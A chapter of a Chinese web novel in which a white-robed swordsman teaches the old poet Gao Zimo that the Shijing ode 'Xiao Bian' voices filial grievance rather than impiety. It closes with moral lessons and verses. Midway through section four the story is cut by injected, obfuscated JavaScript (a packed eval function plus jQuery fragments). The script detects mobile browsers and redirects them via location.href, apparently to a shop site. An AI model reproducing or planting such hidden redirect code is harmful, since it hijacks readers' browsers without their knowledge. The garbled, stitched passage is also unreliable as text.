48. 弁风谳

作品:《无涯案海录

    楔子诗会争


    大梁开成五年,金陵“停云诗社”会文。社长高子墨,年七十,以诗学名世。是日论《诗经》,高子指《小弁》篇,斥道:“此诗怨父,小人声口!”


    座中有少年公孙忧,起而质:“《小弁》乃孝子之诗,何以谓小人?”


    高子冷笑:“诗云‘何辜于天,我罪伊何’,怨天尤父,非小人乎?”


    公孙忧欲辩,高子拂袖:“黄口小儿,也解诗乎?”满座皆附和高子。


    公孙忧愤而离席,独行江畔,对月长吁:“高叟固哉!”


    忽闻柳下有人吟哦:


    “越人射我谈笑道,


    兄弓射我涕泪零。


    《小弁》之怨是亲亲,


    高叟论诗何太冥?”


    回首,见一白衣人倚柳,斗笠面纱,木剑负背,手中展着一卷《诗经》。


    一、 越兄之射


    公孙忧揖问:“先生亦知《小弁》之辩?”


    白衣人合卷:“适闻诗会,高叟之论,是越人之射也。”


    “何谓越人之射?”


    白衣人折柳为弓,对江月虚引:“有人于此,越人关弓射之,你谈笑说道:‘彼与我疏,射我常也。’无他,疏之故。若其兄关弓射之,你必垂涕道之:‘兄何射我?’无他,戚之故。《小弁》之怨,是兄射之涕,非越射之笑。高叟以疏论戚,岂不谬哉?”


    公孙忧恍然:“是矣!《小弁》乃太子宜臼作,其父幽王宠褒姒,逐己,故怨。此怨是亲亲之怨!”


    “然也。”白衣人颔首,“亲亲,仁也。子怨父过,是望父改;若漠然置之,是视父如越人,反是不仁。高叟但见怨字,不察怨情,是‘固哉高叟之为诗’。”


    公孙忧再拜:“然则《凯风》何以不怨?”


    白衣人展《凯风》篇:“‘凯风自南,吹彼棘心。棘心夭夭,母氏劬劳。’此诗子慰母劳,无怨。然不怨非无情,是因‘亲之过小’。母氏小过,子能谅,故不怨。《小弁》亲之过大——父逐嫡子,乱宗庙,此大过。过大而不怨,是愈疏;过小而怨,是苛责。皆非孝也。”


    公孙忧如醍醐灌顶:“愿从先生学诗!”


    “诗在人情,不在字句。”白衣人道,“我与你同访高叟,可敢?”


    “敢!”


    二、 亲疏之辨


    高子墨归宅,犹愤愤:“竖子敢驳我!”忽闻叩门,仆引二人入,前为公孙忧,后随白衣人。


    高子不悦:“汝又来聒噪?”


    白衣人揖道:“晚生有诗疑,请高叟解惑。”


    “讲。”


    “昔有越人射我,我谈笑道之;兄射我,我垂涕道之。此二射,何以异?”


    高子嗤:“疏戚之别,何需问?”


    “然也。”白衣人正色,“《小弁》之怨,是兄射之涕,高叟何以视为越射之笑?”


    高子语塞。白衣人续道:“《小弁》诗云‘靡瞻匪父,靡依匪母’,子虽怨,仍瞻依父母,是亲亲之怨。高叟但斥‘怨’字,是见涕为笑,岂不谬乎?”


    高子面红,强辩:“然怨父终非孝…”


    “舜父瞽瞍屡欲杀舜,舜怨否?”白衣人问。


    “舜至孝,岂怨?”


    “非也。”白衣人摇头,“舜怨,然怨中存慕。《孟子》引孔子曰:‘舜其至孝矣,五十而慕。’慕者,思慕也。舜五十岁,犹思父爱,是怨中之慕。《小弁》太子,亦如是——怨父逐己,仍思父慈。此怨是孝,非不孝。”


    高子汗出。白衣人又道:“今有一事,请高叟断:有子,父酗酒,日殴其母。子劝,父怒逐之。子怨父,可乎?”


    “这…父过当谏。”


    “谏而不听,怨而不离,是《小弁》也。若子漠然,是视父如越人,可乎?”


    高子颓然:“老夫…老夫固矣。”


    “非高叟固,是论诗不察情。”白衣人温言,“诗三百,一言蔽之,曰思无邪。《小弁》之怨,思父之正也。今我三人,可共解此诗。”


    遂于高子书斋,展卷共读。白衣人逐句解之:


    “‘弁彼鸴斯,归飞提提’——鸟尚知归,人何以堪?是怨中之慕。


    ‘民莫不穀,我独于罹’——人皆有福,我独遭难。是怨中之悲。


    ‘维桑与梓,必恭敬止’——见父植之桑梓,犹生恭敬。是怨中之孝。”


    高子听至“靡瞻匪父,靡依匪母”,老泪纵横:“老夫…老夫误矣!昔我父责我严,我怨之,后父殁,方知严是爱。此诗…此诗是我心也!”


    公孙忧亦泣。白衣人叹:“高叟今解戚怨矣。”


    三、 弁风之衡


    三人论诗至深夜。公孙忧问:“先生,《凯风》《小弁》,皆孝子诗,然一怨一不怨,何以衡?”


    白衣人取案上杯、盏:“此杯大,可容一升;此盏小,容一台。今父过如杯,子以盏量之,是苛;父过如盏,子以杯量之,是纵。《小弁》父过大,如杯,故怨如杯;《凯风》母过小,如盏,故不怨。此怨与不怨,皆在量过。”


    高子恍然:“是谓‘亲之过大而不怨,是愈疏也;亲之过小而怨,是不可矶也’。”


    “然。”白衣人续道,“愈疏,是视亲如越人,不孝;不可矶(激怒),是锱铢必较,亦不孝。今人常见二病——”


    他竖二指:“一病,亲有大过而漠然。如父赌败家,子不言,是纵亲成恶,此不孝之甚。


    二病,亲有小过而苛责。如母忘添衣,子怒斥,是伤亲心,亦不孝。


    《凯风》七子,母欲改嫁,是小过,子以劳慰之,是孝。


    《小弁》太子,父逐己,是大过,子以怨谏之,亦是孝。


    二者殊途,同归仁心。”


    公孙忧问:“然则何以知过大过小?”


    “问心。”白衣人指胸,“戚与疏,在己心。若亲过伤你如兄射,是过大,当怨而谏;若亲过如蚊叮,是过小,当谅而慰。但得亲亲之心,自有分寸。”


    高子拊掌:“善!此谓‘诗无达诂,情有通义’。”


    白衣人取笔墨,就诗页边白,书“弁风衡”:


    “亲之过大,怨是孝;


    亲之过小,慰是孝。


    戚则涕谏,疏则笑忘。


    但存亲亲,莫失仁窍。”


    高子捧读,涕泣下拜:“先生今日,解我数十年诗障。”


    四、 戚怨之化


    自此,高子墨诗风大变。昔论诗苛严,今多温厚。有弟子作《慈乌吟》,怨父远游,同门斥“不孝”,高子止之,引《小弁》解:“此子戚怨,是思父也。但导以慰谏,莫责以疏。”


    又作《弁风新解》,刊行于世。金陵诗风,渐重人情。


    公孙忧从高子学诗,然常问:“诗可济世否?”高子不能答。白衣人闻之,引二人至市井。


    见一少年跪衙前,泣诉父赌,卖家产。衙役驱之:“子告父,不孝!”少年泣:“不告,父将死!”


    白衣人问高子:“此子怨父,是《小弁》否?”


    “是…然法不允子告父。”


    “法不允,情允否?”白衣人正色,“昔舜父杀人,舜负父逃。法是法,情是情。《小弁》之怨,是情之正。今此子怨父赌,是过大之怨,当如《小弁》,怨而谏,谏而救。”


    遂助少年,不告官,而劝父。父初怒,白衣人示以《弁风新解》,父读“亲之过大而不怨,是愈疏也”,大恸,戒赌。父子抱泣。


    高子叹:“诗之用,在化人心。”


    又见老妇斥子:“不肖!粥淡即怨!”子跪泣。白衣人问公孙忧:“此怨是《凯风》否?”


    “是,过小而怨。”


    “然则当如何?”


    公孙忧近前,温言慰妇:“母劳煮粥,子当感恩。然子非怨粥淡,是忧母忘盐,恐母体衰忘事。”妇感泣,子亦惭。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088200|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    白衣人谓高子:“诗教在人情,在分寸。今高叟可为真诗翁矣。”


    高子拜谢:“非先生,我终是‘固哉高叟’。”


    是年,高子无疾终。临终执公孙忧手:“诗…在亲亲…莫学我…固…”含笑逝。


    公孙忧继“停云诗社”,改题“弁风诗社”,倡“诗以道情,情以亲亲”。金陵诗坛,为之清。


    尾声弁风碑


    公孙忧晚年,于社中立“弁风碑”,刻孟子“弁风”章句。碑阴自跋:


    “吾少时,闻高叟斥《小弁》,心不平而不能言。


    幸遇白衣先生,明戚疏之辨,解怨慰之衡。


    诗者,人情也。


    亲亲则怨,疏疏则笑。


    能辨大小,能衡戚疏,


    方是读诗人。


    愿后世论诗者,


    莫以辞害志,


    莫以固伤情。


    但存亲亲之心,


    弁风皆可通。”


    碑成,有狂生讥:“诗以载道,岂在怨慰?”公孙忧不辩,但引至碑前,指“舜五十而慕”句:“道在慕,怨亦慕。子不慕亲,何谈载道?”


    狂生惭退。


    后百年,碑遭兵燹,裂为三。有老儒拾残石,合而观之,见“亲亲仁也”四字完好,泣曰:“诗髓在此!”遂建“弁风亭”,聚童子授《诗》,每讲《小弁》《凯风》,必曰:“怨不怨,在亲亲。”


    有童子问:“先生,父母责我,可怨否?”


    老儒指亭外树:“此树,风大则摇,是怨风;风小则静,是慰风。摇静皆在风,怨慰皆在亲。亲爱你,大责可怨;亲小过,当静受。”


    童恍然。


    月夜,白衣人影时现亭中,抚碑吟哦:


    “越人之射笑谈中,


    兄射垂涕戚无穷。


    《小弁》怨父是亲爱,


    《凯风》慰母亦孝衷。


    高叟当年固诗解,


    公孙此后仁心通。


    但得人间识戚疏,


    何愁诗教不淳风?”


    吟罢,倚碑望月。亭畔老梅,新花初绽,幽香暗渡。


    似在说:


    怨啊,不怨啊。


    都在亲亲二字。


    本章诫世


    一、 戚疏之辨


    - 越人射我谈笑,兄射垂涕,是疏戚之别。《小弁》之怨,是兄射之涕


    - 破解法:见人怨亲,莫轻斥“不孝”,当察是戚是疏


    - 示例:高叟以疏论戚,固于字面;白衣人以情解诗,方得真义


    二、 怨慰之衡


    - 亲过大而不怨是愈疏,亲过小而怨是不可矶,皆不孝


    - 惕世:多少人对亲大过漠然(如父赌、母溺),对亲小过苛责(如忘事、唠叨)?


    - 反思:对亲之怨,是戚怨,还是疏怨?


    三、 诗在人情


    - 诗以道情,情以亲亲。但存仁心,弁风可通


    - 深层隐喻:文艺批评当重人情,莫固于教条


    - 终极指向:一切伦理,皆在“亲亲”二字


    弁风偈:


    开成五年金陵秋,高叟论诗成锢囚。


    弁风之怨辩戚疏,白衣释情醒叟眸。


    亲亲方是诗家髓,怨慰皆从仁心流。


    至今碑亭梅月夜,犹闻吟咏说刚柔。


    后世叹:


    大梁金陵停云社,高叟斥弁成话柄。


    白衣详辩戚疏义,公孙继开仁厚境。


    诗在人情不在字,怨因亲亲非悖性。


    寄语世间论诗客,莫将涕泪作笑听。


    正是:


    《小弁》之怨是亲亲,高叟固哉诗论偏。


    越人射我谈笑道,兄弓射我涕涟涟。


    《凯风》慰母过小者,《小弁》谏父过大愆。


    但得心中存戚义,何分怨慰两诗篇?